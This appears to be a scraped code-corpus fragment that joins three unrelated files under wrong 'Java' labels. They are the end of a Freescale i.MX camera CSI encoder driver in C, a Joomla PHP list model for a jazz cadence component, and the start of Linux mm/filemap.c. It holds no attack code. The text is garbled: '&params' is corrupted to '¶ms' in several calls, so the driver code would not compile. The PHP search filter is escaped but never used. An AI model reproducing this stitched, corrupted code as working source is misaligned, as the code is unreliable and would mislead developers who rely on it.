* csi ENC callback function.
*
* @param irq int irq line
* @param dev_id void * device id
*
* @return status IRQ_HANDLED for handled
*/
static irqreturn_t csi_enc_callback(int irq, void *dev_id)
{
cam_data *cam = (cam_data *) dev_id;
if (cam->enc_callback == NULL)
return IRQ_HANDLED;
cam->enc_callback(irq, dev_id);
return IRQ_HANDLED;
}
/*!
* CSI ENC enable channel setup function
*
* @param cam struct cam_data * mxc capture instance
*
* @return status
*/
static int csi_enc_setup(cam_data *cam)
{
ipu_channel_params_t params;
u32 pixel_fmt;
int err = 0, sensor_protocol = 0;
dma_addr_t dummy = cam->dummy_frame.buffer.m.offset;
#ifdef CONFIG_MXC_MIPI_CSI2
void *mipi_csi2_info;
int ipu_id;
int csi_id;
#endif
CAMERA_TRACE("In csi_enc_setup\n");
if (!cam) {
printk(KERN_ERR "cam private is NULL\n");
return -ENXIO;
}
memset(¶ms, 0, sizeof(ipu_channel_params_t));
params.csi_mem.csi = cam->csi;
sensor_protocol = ipu_csi_get_sensor_protocol(cam->ipu, cam->csi);
switch (sensor_protocol) {
case IPU_CSI_CLK_MODE_GATED_CLK:
case IPU_CSI_CLK_MODE_NONGATED_CLK:
case IPU_CSI_CLK_MODE_CCIR656_PROGRESSIVE:
case IPU_CSI_CLK_MODE_CCIR1120_PROGRESSIVE_DDR:
case IPU_CSI_CLK_MODE_CCIR1120_PROGRESSIVE_SDR:
params.csi_mem.interlaced = false;
break;
case IPU_CSI_CLK_MODE_CCIR656_INTERLACED:
case IPU_CSI_CLK_MODE_CCIR1120_INTERLACED_DDR:
case IPU_CSI_CLK_MODE_CCIR1120_INTERLACED_SDR:
params.csi_mem.interlaced = true;
break;
default:
printk(KERN_ERR "sensor protocol unsupported\n");
return -EINVAL;
}
if (cam->v2f.fmt.pix.pixelformat == V4L2_PIX_FMT_YUV420)
pixel_fmt = IPU_PIX_FMT_YUV420P;
else if (cam->v2f.fmt.pix.pixelformat == V4L2_PIX_FMT_YUV422P)
pixel_fmt = IPU_PIX_FMT_YUV422P;
else if (cam->v2f.fmt.pix.pixelformat == V4L2_PIX_FMT_UYVY)
pixel_fmt = IPU_PIX_FMT_UYVY;
else if (cam->v2f.fmt.pix.pixelformat == V4L2_PIX_FMT_YUYV)
pixel_fmt = IPU_PIX_FMT_YUYV;
else if (cam->v2f.fmt.pix.pixelformat == V4L2_PIX_FMT_NV12)
pixel_fmt = IPU_PIX_FMT_NV12;
else if (cam->v2f.fmt.pix.pixelformat == V4L2_PIX_FMT_BGR24)
pixel_fmt = IPU_PIX_FMT_BGR24;
else if (cam->v2f.fmt.pix.pixelformat == V4L2_PIX_FMT_RGB24)
pixel_fmt = IPU_PIX_FMT_RGB24;
else if (cam->v2f.fmt.pix.pixelformat == V4L2_PIX_FMT_RGB565)
pixel_fmt = IPU_PIX_FMT_RGB565;
else if (cam->v2f.fmt.pix.pixelformat == V4L2_PIX_FMT_BGR32)
pixel_fmt = IPU_PIX_FMT_BGR32;
else if (cam->v2f.fmt.pix.pixelformat == V4L2_PIX_FMT_RGB32)
pixel_fmt = IPU_PIX_FMT_RGB32;
else {
printk(KERN_ERR "format not supported\n");
return -EINVAL;
}
#ifdef CONFIG_MXC_MIPI_CSI2
mipi_csi2_info = mipi_csi2_get_info();
if (mipi_csi2_info) {
if (mipi_csi2_get_status(mipi_csi2_info)) {
ipu_id = mipi_csi2_get_bind_ipu(mipi_csi2_info);
csi_id = mipi_csi2_get_bind_csi(mipi_csi2_info);
if (cam->ipu == ipu_get_soc(ipu_id)
&& cam->csi == csi_id) {
params.csi_mem.mipi_en = true;
params.csi_mem.mipi_vc =
mipi_csi2_get_virtual_channel(mipi_csi2_info);
params.csi_mem.mipi_id =
mipi_csi2_get_datatype(mipi_csi2_info);
mipi_csi2_pixelclk_enable(mipi_csi2_info);
} else {
params.csi_mem.mipi_en = false;
params.csi_mem.mipi_vc = 0;
params.csi_mem.mipi_id = 0;
}
} else {
params.csi_mem.mipi_en = false;
params.csi_mem.mipi_vc = 0;
params.csi_mem.mipi_id = 0;
}
} else {
printk(KERN_ERR "Fail to get mipi_csi2_info!\n");
return -EPERM;
}
#endif
err = ipu_init_channel(cam->ipu, CSI_MEM, ¶ms);
if (err != 0) {
printk(KERN_ERR "ipu_init_channel %d\n", err);
return err;
}
err = ipu_init_channel_buffer(cam->ipu, CSI_MEM, IPU_OUTPUT_BUFFER,
pixel_fmt, cam->v2f.fmt.pix.width,
cam->v2f.fmt.pix.height,
cam->v2f.fmt.pix.bytesperline,
cam->rotation,
dummy, dummy, 0,
cam->offset.u_offset,
cam->offset.v_offset);
if (err != 0) {
printk(KERN_ERR "CSI_MEM output buffer\n");
return err;
}
err = ipu_enable_channel(cam->ipu, CSI_MEM);
if (err < 0) {
printk(KERN_ERR "ipu_enable_channel CSI_MEM\n");
return err;
}
return err;
}
/*!
* function to update physical buffer address for encorder IDMA channel
*
* @param eba physical buffer address for encorder IDMA channel
* @param buffer_num int buffer 0 or buffer 1
*
* @return status
*/
static int csi_enc_eba_update(struct ipu_soc *ipu, dma_addr_t eba, int *buffer_num)
{
int err = 0;
pr_debug("eba %x\n", eba);
err = ipu_update_channel_buffer(ipu, CSI_MEM, IPU_OUTPUT_BUFFER,
*buffer_num, eba);
if (err != 0) {
ipu_clear_buffer_ready(ipu, CSI_MEM, IPU_OUTPUT_BUFFER,
*buffer_num);
err = ipu_update_channel_buffer(ipu, CSI_MEM, IPU_OUTPUT_BUFFER,
*buffer_num, eba);
if (err != 0) {
pr_err("ERROR: v4l2 capture: fail to update "
"buf%d\n", *buffer_num);
return err;
}
}
ipu_select_buffer(ipu, CSI_MEM, IPU_OUTPUT_BUFFER, *buffer_num);
*buffer_num = (*buffer_num == 0) ? 1 : 0;
return 0;
}
/*!
* Enable encoder task
* @param private struct cam_data * mxc capture instance
*
* @return status
*/
static int csi_enc_enabling_tasks(void *private)
{
cam_data *cam = (cam_data *) private;
int err = 0;
CAMERA_TRACE("IPU:In csi_enc_enabling_tasks\n");
if (cam->dummy_frame.vaddress &&
cam->dummy_frame.buffer.length
< PAGE_ALIGN(cam->v2f.fmt.pix.sizeimage)) {
dma_free_coherent(0, cam->dummy_frame.buffer.length,
cam->dummy_frame.vaddress,
cam->dummy_frame.paddress);
cam->dummy_frame.vaddress = 0;
}
if (!cam->dummy_frame.vaddress) {
cam->dummy_frame.vaddress = dma_alloc_coherent(0,
PAGE_ALIGN(cam->v2f.fmt.pix.sizeimage),
&cam->dummy_frame.paddress,
GFP_DMA | GFP_KERNEL);
if (cam->dummy_frame.vaddress == 0) {
pr_err("ERROR: v4l2 capture: Allocate dummy frame "
"failed.\n");
return -ENOBUFS;
}
cam->dummy_frame.buffer.length =
PAGE_ALIGN(cam->v2f.fmt.pix.sizeimage);
}
cam->dummy_frame.buffer.type = V4L2_BUF_TYPE_PRIVATE;
cam->dummy_frame.buffer.m.offset = cam->dummy_frame.paddress;
ipu_clear_irq(cam->ipu, IPU_IRQ_CSI0_OUT_EOF);
err = ipu_request_irq(cam->ipu, IPU_IRQ_CSI0_OUT_EOF,
csi_enc_callback, 0, "Mxc Camera", cam);
if (err != 0) {
printk(KERN_ERR "Error registering rot irq\n");
return err;
}
err = csi_enc_setup(cam);
if (err != 0) {
printk(KERN_ERR "csi_enc_setup %d\n", err);
return err;
}
return err;
}
/*!
* Disable encoder task
* @param private struct cam_data * mxc capture instance
*
* @return int
*/
static int csi_enc_disabling_tasks(void *private)
{
cam_data *cam = (cam_data *) private;
int err = 0;
#ifdef CONFIG_MXC_MIPI_CSI2
void *mipi_csi2_info;
int ipu_id;
int csi_id;
#endif
err = ipu_disable_channel(cam->ipu, CSI_MEM, true);
ipu_uninit_channel(cam->ipu, CSI_MEM);
#ifdef CONFIG_MXC_MIPI_CSI2
mipi_csi2_info = mipi_csi2_get_info();
if (mipi_csi2_info) {
if (mipi_csi2_get_status(mipi_csi2_info)) {
ipu_id = mipi_csi2_get_bind_ipu(mipi_csi2_info);
csi_id = mipi_csi2_get_bind_csi(mipi_csi2_info);
if (cam->ipu == ipu_get_soc(ipu_id)
&& cam->csi == csi_id)
mipi_csi2_pixelclk_disable(mipi_csi2_info);
}
} else {
printk(KERN_ERR "Fail to get mipi_csi2_info!\n");
return -EPERM;
}
#endif
return err;
}
/*!
* Enable csi
* @param private struct cam_data * mxc capture instance
*
* @return status
*/
static int csi_enc_enable_csi(void *private)
{
cam_data *cam = (cam_data *) private;
return ipu_enable_csi(cam->ipu, cam->csi);
}
/*!
* Disable csi
* @param private struct cam_data * mxc capture instance
*
* @return status
*/
static int csi_enc_disable_csi(void *private)
{
cam_data *cam = (cam_data *) private;
/* free csi eof irq firstly.
* when disable csi, wait for idmac eof.
* it requests eof irq again */
ipu_free_irq(cam->ipu, IPU_IRQ_CSI0_OUT_EOF, cam);
return ipu_disable_csi(cam->ipu, cam->csi);
}
/*!
* function to select CSI ENC as the working path
*
* @param private struct cam_data * mxc capture instance
*
* @return int
*/
int csi_enc_select(void *private)
{
cam_data *cam = (cam_data *) private;
int err = 0;
if (cam) {
cam->enc_update_eba = csi_enc_eba_update;
cam->enc_enable = csi_enc_enabling_tasks;
cam->enc_disable = csi_enc_disabling_tasks;
cam->enc_enable_csi = csi_enc_enable_csi;
cam->enc_disable_csi = csi_enc_disable_csi;
} else {
err = -EIO;
}
return err;
}
/*!
* function to de-select CSI ENC as the working path
*
* @param private struct cam_data * mxc capture instance
*
* @return int
*/
int csi_enc_deselect(void *private)
{
cam_data *cam = (cam_data *) private;
int err = 0;
if (cam) {
cam->enc_update_eba = NULL;
cam->enc_enable = NULL;
cam->enc_disable = NULL;
cam->enc_enable_csi = NULL;
cam->enc_disable_csi = NULL;
}
return err;
}
/*!
* Init the Encorder channels
*
* @return Error code indicating success or failure
*/
__init int csi_enc_init(void)
{
return 0;
}
/*!
* Deinit the Encorder channels
*
*/
void __exit csi_enc_exit(void)
{
}
module_init(csi_enc_init);
module_exit(csi_enc_exit);
EXPORT_SYMBOL(csi_enc_select);
EXPORT_SYMBOL(csi_enc_deselect);
MODULE_AUTHOR("Freescale Semiconductor, Inc.");
MODULE_DESCRIPTION("CSI ENC Driver");
MODULE_LICENSE("GPL");
| Java |
<?php
/**
* @version 0.0.6
* @package com_jazz_mastering
* @copyright Copyright (C) 2012. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
* @author Artur Pañach Bargalló <arturictus@gmail.com> - http://
*/
defined('_JEXEC') or die;
jimport('joomla.application.component.modellist');
/**
* Methods supporting a list of Jazz_mastering records.
*/
class Jazz_masteringModelCadencias extends JModelList {
/**
* Constructor.
*
* @param array An optional associative array of configuration settings.
* @see JController
* @since 1.6
*/
public function __construct($config = array()) {
parent::__construct($config);
}
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @since 1.6
*/
protected function populateState($ordering = null, $direction = null) {
// Initialise variables.
$app = JFactory::getApplication();
// List state information
$limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->getCfg('list_limit'));
$this->setState('list.limit', $limit);
$limitstart = JFactory::getApplication()->input->getInt('limitstart', 0);
$this->setState('list.start', $limitstart);
// List state information.
parent::populateState($ordering, $direction);
}
/**
* Build an SQL query to load the list data.
*
* @return JDatabaseQuery
* @since 1.6
*/
protected function getListQuery() {
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
// Select the required fields from the table.
$query->select(
$this->getState(
'list.select', 'a.*'
)
);
$query->from('`#__jazz_mastering_cadencia` AS a');
// Join over the created by field 'values_cadencia_creado_por'
$query->select('values_cadencia_creado_por.name AS values_cadencia_creado_por');
$query->join('LEFT', '#__users AS values_cadencia_creado_por ON values_cadencia_creado_por.id = a.values_cadencia_creado_por');
// Filter by search in title
$search = $this->getState('filter.search');
if (!empty($search)) {
if (stripos($search, 'id:') === 0) {
$query->where('a.id = '.(int) substr($search, 3));
} else {
$search = $db->Quote('%'.$db->escape($search, true).'%');
}
}
return $query;
}
}
| Java |
/*
* linux/mm/filemap.c
*
* Copyright (C) 1994-1999 Linus Torvalds
*/
/*
* This file handles the generic file mmap semantics used by
* most "normal" filesystems (but you don't /have/ to use this:
* the NFS filesystem used to do this differently, for example)
*/
#include <linux/export.h>
#include <linux/compiler.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/aio.h>
#include <linux/capability.h>
#include <linux/kernel_stat.h>
#include <linux/gfp.h>
#include <linux/mm.h>
#include <linux/swap.h>
#include <linux/mman.h>
#include <linux/pagemap.h>
#include <linux/file.h>
#include <linux/uio.h>
#include <linux/hash.h>
#include <linux/writeback.h>
#include <linux/backing-dev.h>
#include <linux/pagevec.h>
#include <linux/blkdev.h>
#include <linux/security.h>
#include <linux/cpuset.h>
#include <linux/hardirq.h> /* for BUG_ON(!in_atomic()) only */
#include <linux/memcontrol.h>
#include <linux/cleancache.h>
#include "internal.h"
#include "../fs/sreadahead_prof.h"
/*
* FIXME: remove all knowledge of the buffer layer from the core VM
*/
#include <linux/buffer_head.h> /* for try_to_free_buffers */
#include <asm/mman.h>
/*
* Shared mappings implemented 30.11.1994. It's not fully working yet,
* though.
*
* Shared mappings now work. 15.8.1995 Bruno.
*
* finished 'unifying' the page and buffer cache and SMP-threaded the
* page-cache, 21.05.1999, Ingo Molnar <mingo@redhat.com>
*
* SMP-threaded pagemap-LRU 1999, Andrea Arcangeli <andrea@suse.de>
*/
/*
* Lock ordering:
*
* ->i_mmap_mutex (truncate_pagecache)
* ->private_lock (__free_pte->__set_page_dirty_buffers)
* ->swap_lock (exclusive_swap_page, others)
* ->mapping->tree_lock
*
* ->i_mutex
* ->i_mmap_mutex (truncate->unmap_mapping_range)
*
* ->mmap_sem
* ->i_mmap_mutex
* ->page_table_lock or pte_lock (various, mainly in memory.c)
* ->mapping->tree_lock (arch-dependent flush_dcache_mmap_lock)
*
* ->mmap_sem
* ->lock_page (access_process_vm)
*
* ->i_mutex (generic_file_buffered_write)
* ->mmap_sem (fault_in_pages_readable->do_page_fault)
*
* bdi->wb.list_lock
* sb_lock (fs/fs-writeback.c)
* ->mapping->tree_lock (__sync_single_inode)
*
* ->i_mmap_mutex
* ->anon_vma.lock (vma_adjust)
*
* ->anon_vma.lock
* ->page_table_lock or pte_lock (anon_vma_prepare and various)
*
* ->page_table_lock or pte_lock
* ->swap_lock (try_to_unmap_one)
* ->private_lock (try_to_unmap_one)
* ->tree_lock (try_to_unmap_one)
* ->zone.lru_lock (follow_page->mark_page_accessed)
* ->zone.lru_lock (check_pte_range->isolate_lru_page)
* ->private_lock (page_remove_rmap->set_page_dirty)
* ->tree_lock (page_remove_rmap->set_page_dirty)
* bdi.wb->list_lock (page_remove_rmap->set_page_dirty)
* ->inode->i_lock (page_remove_rmap->set_page_dirty)
* bdi.wb->list_lock (zap_pte_range->set_page_dirty)
* ->inode->i_lock (zap_pte_range->set_page_dirty)
* ->private_lock (zap_pte_range->__set_page_dirty_buffers)
*
* ->i_mmap_mutex
* ->tasklist_lock (memory_failure, collect_procs_ao)
*/
/*
* Delete a page from the page cache and free it. Caller has to make
* sure the page is locked and that nobody else uses it - or that usage
* is safe. The caller must hold the mapping's tree_lock.
*/
void __delete_from_page_cache(struct page *page)
{
struct address_space *mapping = page->mapping;
/*
* if we're uptodate, flush out into the cleancache, otherwise
* invalidate any existing cleancache entries. We can't leave
* stale data around in the cleancache once our page is gone
*/
if (PageUptodate(page) && PageMappedToDisk(page))
cleancache_put_page(page);
else
cleancache_invalidate_page(mapping, page);
radix_tree_delete(&mapping->page_tree, page->index);
page->mapping = NULL;
/* Leave page->index set: truncation lookup relies upon it */
mapping->nrpages--;
__dec_zone_page_state(page, NR_FILE_PAGES);
if (PageSwapBacked(page))
__dec_zone_page_state(page, NR_SHMEM);
BUG_ON(page_mapped(page));
/*
* Some filesystems seem to re-dirty the page even after
* the VM has canceled the dirty bit (eg ext3 journaling).
*
* Fix it up by doing a final dirty accounting check after
* having removed the page entirely.
*/
if (PageDirty(page) && mapping_cap_account_dirty(mapping)) {
dec_zone_page_state(page, NR_FILE_DIRTY);
dec_bdi_stat(mapping->backing_dev_info, BDI_RECLAIMABLE);
}
}
/**
* delete_from_page_cache - delete page from page cache
* @page: the page which the kernel is trying to remove from page cache
*
* This must be called only on pages that have been verified to be in the page
* cache and locked. It will never put the page into the free list, the caller
* has a reference on the page.
*/
void delete_from_page_cache(struct page *page)
{
struct address_space *mapping = page->mapping;
void (*freepage)(struct page *);
BUG_ON(!PageLocked(page));
freepage = mapping->a_ops->freepage;
spin_lock_irq(&mapping->tree_lock);
__delete_from_page_cache(page);
spin_unlock_irq(&mapping->tree_lock);
mem_cgroup_uncharge_cache_page(page);
if (freepage)
freepage(page);
page_cache_release(page);
}
EXPORT_SYMBOL(delete_from_page_cache);
static int sleep_on_page(void *word)
{
io_schedule();
return 0;
}
static int sleep_on_page_killable(void *word)
{
sleep_on_page(word);
return fatal_signal_pending(current) ? -EINTR : 0;
}
/**
* __filemap_fdatawrite_range - start writeback on mapping dirty pages in range
* @mapping: address space structure to write
* @start: offset in bytes where the range starts
* @end: offset in bytes where the range ends (inclusive)
* @sync_mode: enable synchronous operation
*
* Start writeback against all of a mapping's dirty pages that lie
* within the byte offsets <start, end> inclusive.
*
* If sync_mode is WB_SYNC_ALL then this is a "data integrity" operation, as
* opposed to a regular memory cleansing writeback. The difference between
* these two operations is that if a dirty page/buffer is encountered, it must
* be waited upon, and not just skipped over.
*/
int __filemap_fdatawrite_range(struct address_space *mapping, loff_t start,
loff_t end, int sync_mode)
{
int ret;
struct writeback_control wbc = {
.sync_mode = sync_mode,
.nr_to_write = LONG_MAX,
.range_start = start,
.range_end = end,
};
if (!mapping_cap_writeback_dirty(mapping))
return 0;
ret = do_writepages(mapping, &wbc);
return ret;
}
static inline int __filemap_fdatawrite(struct address_space *mapping,
int sync_mode)
{
return __filemap_fdatawrite_range(mapping, 0, LLONG_MAX, sync_mode);
}
int filemap_fdatawrite(struct address_space *mapping)
{
return __filemap_fdatawrite(mapping, WB_SYNC_ALL);
}
EXPORT_SYMBOL(filemap_fdatawrite);
int filemap_fdatawrite_range(struct address_space *mapping, loff_t start,
loff_t end)
{
return __filemap_fdatawrite_range(mapping, start, end, WB_SYNC_ALL);
}
EXPORT_SYMBOL(filemap_fdatawrite_range);
/**
* filemap_flush - mostly a non-blocking flush
* @mapping: target address_space
*
* This is a mostly non-blocking flush. Not suitable for data-integrity
* purposes - I/O may not be started against all dirty pages.
*/
int filemap_flush(struct address_space *mapping)
{
return __filemap_fdatawrite(mapping, WB_SYNC_NONE);
}
EXPORT_SYMBOL(filemap_flush);
/**
* filemap_fdatawait_range - wait for writeback to complete
* @mapping: address space structure to wait for
* @start_byte: offset in bytes where the range starts
* @end_byte: offset in bytes where the range ends (inclusive)
*
* Walk the list of under-writeback pages of the given address space
* in the given range and wait for all of them.
*/
int filemap_fdatawait_range(struct address_space *mapping, loff_t start_byte,
loff_t end_byte)
{
pgoff_t index = start_byte >> PAGE_CACHE_SHIFT;
pgoff_t end = end_byte >> PAGE_CACHE_SHIFT;
struct pagevec pvec;
int nr_pages;
int ret = 0;
if (end_byte < start_byte)
return 0;
pagevec_init(&pvec, 0);
while ((index <= end) &&
(nr_pages = pagevec_lookup_tag(&pvec, mapping, &index,
PAGECACHE_TAG_WRITEBACK,
min(end - index, (pgoff_t)PAGEVEC_SIZE-1) + 1)) != 0) {
unsigned i;
for (i = 0; i < nr_pages; i++) {
struct page *page = pvec.pages[i];
/* until radix tree lookup accepts end_index */
if (page->index > end)
continue;
wait_on_page_writeback(page);
if (TestClearPageError(page))
ret = -EIO;
}
pagevec_release(&pvec);
cond_resched();
}
/* Check for outstanding write errors */
if (test_and_clear_bit(AS_ENOSPC, &mapping->flags))
ret = -ENOSPC;
if (test_and_clear_bit(AS_EIO, &mapping->flags))
ret = -EIO;
return ret;
}
EXPORT_SYMBOL(filemap_fdatawait_range);
/**
* filemap_fdatawait - wait for all under-writeback pages to complete
* @mapping: address space structure to wait for
*
* Walk the list of under-writeback pages of the given address space
* and wait for all of them.
*/
int filemap_fdatawait(struct address_space *mapping)
{
loff_t i_size = i_size_read(mapping->host);
if (i_size == 0)
return 0;
return filemap_fdatawait_range(mapping, 0, i_size - 1);
}
EXPORT_SYMBOL(filemap_fdatawait);
int filemap_write_and_wait(struct address_space *mapping)
{
int err = 0;
if (mapping->nrpages) {
err = filemap_fdatawrite(mapping);
/*
* Even if the above returned error, the pages may be
* written partially (e.g. -ENOSPC), so we wait for it.
* But the -EIO is special case, it may indicate the worst
* thing (e.g. bug) happened, so we avoid waiting for it.
*/
if (err != -EIO) {
int err2 = filemap_fdatawait(mapping);
if (!err)
err = err2;
}
}
return err;
}
EXPORT_SYMBOL(filemap_write_and_wait);
/**
* filemap_write_and_wait_range - write out & wait on a file range
* @mapping: the address_space for the pages
* @lstart: offset in bytes where the range starts
* @lend: offset in bytes where the range ends (inclusive)
*
* Write out and wait upon file offsets lstart->lend, inclusive.
*
* Note that `lend' is inclusive (describes the last byte to be written) so
* that this function can be used to write to the very end-of-file (end = -1).
*/
int filemap_write_and_wait_range(struct address_space *mapping,
loff_t lstart, loff_t lend)
{
int err = 0;
if (mapping->nrpages) {
err = __filemap_fdatawrite_range(mapping, lstart, lend,
WB_SYNC_ALL);
/* See comment of filemap_write_and_wait() */
if (err != -EIO) {
int err2 = filemap_fdatawait_range(mapping,
lstart, lend);
if (!err)
err = err2;
}
}
return err;
}
EXPORT_SYMBOL(filemap_write_and_wait_range);
/**
* replace_page_cache_page - replace a pagecache page with a new one
* @old: page to be replaced
* @new: page to replace with
* @gfp_mask: allocation mode
*
* This function replaces a page in the pagecache with a new one. On
* success it acquires the pagecache reference for the new page and
* drops it for the old page. Both the old and new pages must be
* locked. This function does not add the new page to the LRU, the
* caller must do that.
*
* The remove + add is atomic. The only way this function can fail is
* memory allocation failure.
*/
int replace_page_cache_page(struct page *old, struct page *new, gfp_t gfp_mask)
{
int error;
VM_BUG_ON(!PageLocked(old));
VM_BUG_ON(!PageLocked(new));
VM_BUG_ON(new->mapping);
error = radix_tree_preload(gfp_mask & ~__GFP_HIGHMEM);
if (!error) {
struct address_space *mapping = old->mapping;
void (*freepage)(struct page *);
pgoff_t offset = old->index;
freepage = mapping->a_ops->freepage;
page_cache_get(new);
new->mapping = mapping;
new->index = offset;
spin_lock_irq(&mapping->tree_lock);
__delete_from_page_cache(old);
error = radix_tree_insert(&mapping->page_tree, offset, new);
BUG_ON(error);
mapping->nrpages++;
__inc_zone_page_state(new, NR_FILE_PAGES);
if (PageSwapBacked(new))
__inc_zone_page_state(new, NR_SHMEM);
spin_unlock_irq(&mapping->tree_lock);
/* mem_cgroup codes must not be called under tree_lock */
mem_cgroup_replace_page_cache(old, new);
radix_tree_preload_end();
if (freepage)
freepage(old);
page_cache_release(old);
}
return error;
}
EXPORT_SYMBOL_GPL(replace_page_cache_page);
/**
* add_to_page_cache_locked - add a locked page to the pagecache
* @page: page to add
* @mapping: the page's address_space
* @offset: page index
* @gfp_mask: page allocation mode
*
* This function is used to add a page to the pagecache. It must be locked.
* This function does not add the page to the LRU. The caller must do that.
*/
int add_to_page_cache_locked(struct page *page, struct address_space *mapping,
pgoff_t offset, gfp_t gfp_mask)
{
int error;
VM_BUG_ON(!PageLocked(page));
VM_BUG_ON(PageSwapBacked(page));
error = mem_cgroup_cache_charge(page, current->mm,
gfp_mask & GFP_RECLAIM_MASK);
if (error)
goto out;
error = radix_tree_preload(gfp_mask & ~__GFP_HIGHMEM);
if (error == 0) {
page_cache_get(page);
page->mapping = mapping;
page->index = offset;
spin_lock_irq(&mapping->tree_lock);
error = radix_tree_insert(&mapping->page_tree, offset, page);
if (likely(!error)) {
mapping->nrpages++;
__inc_zone_page_state(page, NR_FILE_PAGES);
spin_unlock_irq(&mapping->tree_lock);
} else {
page->mapping = NULL;
/* Leave page->index set: truncation relies upon it */
spin_unlock_irq(&mapping->tree_lock);
mem_cgroup_uncharge_cache_page(page);
page_cache_release(page);
}
radix_tree_preload_end();
} else
mem_cgroup_uncharge_cache_page(page);
out:
return error;
}
EXPORT_SYMBOL(add_to_page_cache_locked);
int add_to_page_cache_lru(struct page *page, struct address_space *mapping,
pgoff_t offset, gfp_t gfp_mask)
{
int ret;
ret = add_to_page_cache(page, mapping, offset, gfp_mask);
if (ret == 0)
lru_cache_add_file(page);
return ret;
}
EXPORT_SYMBOL_GPL(add_to_page_cache_lru);
#ifdef CONFIG_NUMA
struct page *__page_cache_alloc(gfp_t gfp)
{
int n;
struct page *page;
if (cpuset_do_page_mem_spread()) {
unsigned int cpuset_mems_cookie;
do {
cpuset_mems_cookie = get_mems_allowed();
n = cpuset_mem_spread_node();
page = alloc_pages_exact_node(n, gfp, 0);
} while (!put_mems_allowed(cpuset_mems_cookie) && !page);
return page;
}
return alloc_pages(gfp, 0);
}
EXPORT_SYMBOL(__page_cache_alloc);
#endif
/*
* In order to wait for pages to become available there must be
* waitqueues associated with pages. By using a hash table of
* waitqueues where the bucket discipline is to maintain all
* waiters on the same queue and wake all when any of the pages
* become available, and for the woken contexts to check to be
* sure the appropriate page became available, this saves space
* at a cost of "thundering herd" phenomena during rare hash
* collisions.
*/
static wait_queue_head_t *page_waitqueue(struct page *page)
{
const struct zone *zone = page_zone(page);
return &zone->wait_table[hash_ptr(page, zone->wait_table_bits)];
}
static inline void wake_up_page(struct page *page, int bit)
{
__wake_up_bit(page_waitqueue(page), &page->flags, bit);
}
void wait_on_page_bit(struct page *page, int bit_nr)
{
DEFINE_WAIT_BIT(wait, &page->flags, bit_nr);
if (test_bit(bit_nr, &page->flags))
__wait_on_bit(page_waitqueue(page), &wait, sleep_on_page,
TASK_UNINTERRUPTIBLE);
}
EXPORT_SYMBOL(wait_on_page_bit);
int wait_on_page_bit_killable(struct page *page, int bit_nr)
{
DEFINE_WAIT_BIT(wait, &page->flags, bit_nr);
if (!test_bit(bit_nr, &page->flags))
return 0;
return __wait_on_bit(page_waitqueue(page), &wait,
sleep_on_page_killable, TASK_KILLABLE);
}
/**
* add_page_wait_queue - Add an arbitrary waiter to a page's wait queue
* @page: Page defining the wait queue of interest
* @waiter: Waiter to add to the queue
*
* Add an arbitrary @waiter to the wait queue for the nominated @page.
*/
void add_page_wait_queue(struct page *page, wait_queue_t *waiter)
{
wait_queue_head_t *q = page_waitqueue(page);
unsigned long flags;
spin_lock_irqsave(&q->lock, flags);
__add_wait_queue(q, waiter);
spin_unlock_irqrestore(&q->lock, flags);
}
EXPORT_SYMBOL_GPL(add_page_wait_queue);
/**
* unlock_page - unlock a locked page
* @page: the page
*
* Unlocks the page and wakes up sleepers in ___wait_on_page_locked().
* Also wakes sleepers in wait_on_page_writeback() because the wakeup
* mechananism between PageLocked pages and PageWriteback pages is shared.
* But that's OK - sleepers in wait_on_page_writeback() just go back to sleep.
*
* The mb is necessary to enforce ordering between the clear_bit and the read
* of the waitqueue (to avoid SMP races with a parallel wait_on_page_locked()).
*/
void unlock_page(struct page *page)
{
VM_BUG_ON(!PageLocked(page));
clear_bit_unlock(PG_locked, &page->flags);
smp_mb__after_clear_bit();
wake_up_page(page, PG_locked);
}
EXPORT_SYMBOL(unlock_page);
/**
* end_page_writeback - end writeback against a page
* @page: the page
*/
void end_page_writeback(struct page *page)
{
if (TestClearPageReclaim(page))
rotate_reclaimable_page(page);
if (!test_clear_page_writeback(page))
BUG();
smp_mb__after_clear_bit();
wake_up_page(page, PG_writeback);
}
EXPORT_SYMBOL(end_page_writeback);
/**
* __lock_page - get a lock on the page, assuming we need to sleep to get it
* @page: the page to lock
*/
void __lock_page(struct page *page)
{
DEFINE_WAIT_BIT(wait, &page->flags, PG_locked);
__wait_on_bit_lock(page_waitqueue(page), &wait, sleep_on_page,
TASK_UNINTERRUPTIBLE);
}
EXPORT_SYMBOL(__lock_page);
int __lock_page_killable(struct page *page)
{
DEFINE_WAIT_BIT(wait, &page->flags, PG_locked);
return __wait_on_bit_lock(page_waitqueue(page), &wait,
sleep_on_page_killable, TASK_KILLABLE);
}
EXPORT_SYMBOL_GPL(__lock_page_killable);
int __lock_page_or_retry(struct page *page, struct mm_struct *mm,
unsigned int flags)
{
if (flags & FAULT_FLAG_ALLOW_RETRY) {
/*
* CAUTION! In this case, mmap_sem is not released
* even though return 0.
*/
if (flags & FAULT_FLAG_RETRY_NOWAIT)
return 0;
up_read(&mm->mmap_sem);
if (flags & FAULT_FLAG_KILLABLE)
wait_on_page_locked_killable(page);
else
wait_on_page_locked(page);
return 0;
} else {
if (flags & FAULT_FLAG_KILLABLE) {
int ret;
ret = __lock_page_killable(page);
if (ret) {
up_read(&mm->mmap_sem);
return 0;
}
} else
__lock_page(page);
return 1;
}
}
/**
* find_get_page - find and get a page reference
* @mapping: the address_space to search
* @offset: the page index
*
* Is there a pagecache struct page at the given (mapping, offset) tuple?
* If yes, increment its refcount and return it; if no, return NULL.
*/
struct page *find_get_page(struct address_space *mapping, pgoff_t offset)
{
void **pagep;
struct page *page;
rcu_read_lock();
repeat:
page = NULL;
pagep = radix_tree_lookup_slot(&mapping->page_tree, offset);
if (pagep) {
page = radix_tree_deref_slot(pagep);
if (unlikely(!page))
goto out;
if (radix_tree_exception(page)) {
if (radix_tree_deref_retry(page))
goto repeat;
/*
* Otherwise, shmem/tmpfs must be storing a swap entry
* here as an exceptional entry: so return it without
* attempting to raise page count.
*/
goto out;
}
if (!page_cache_get_speculative(page))
goto repeat;
/*
* Has the page moved?
* This is part of the lockless pagecache protocol. See
* include/linux/pagemap.h for details.
*/
if (unlikely(page != *pagep)) {
page_cache_release(page);
goto repeat;
}
}
out:
rcu_read_unlock();
return page;
}
EXPORT_SYMBOL(find_get_page);
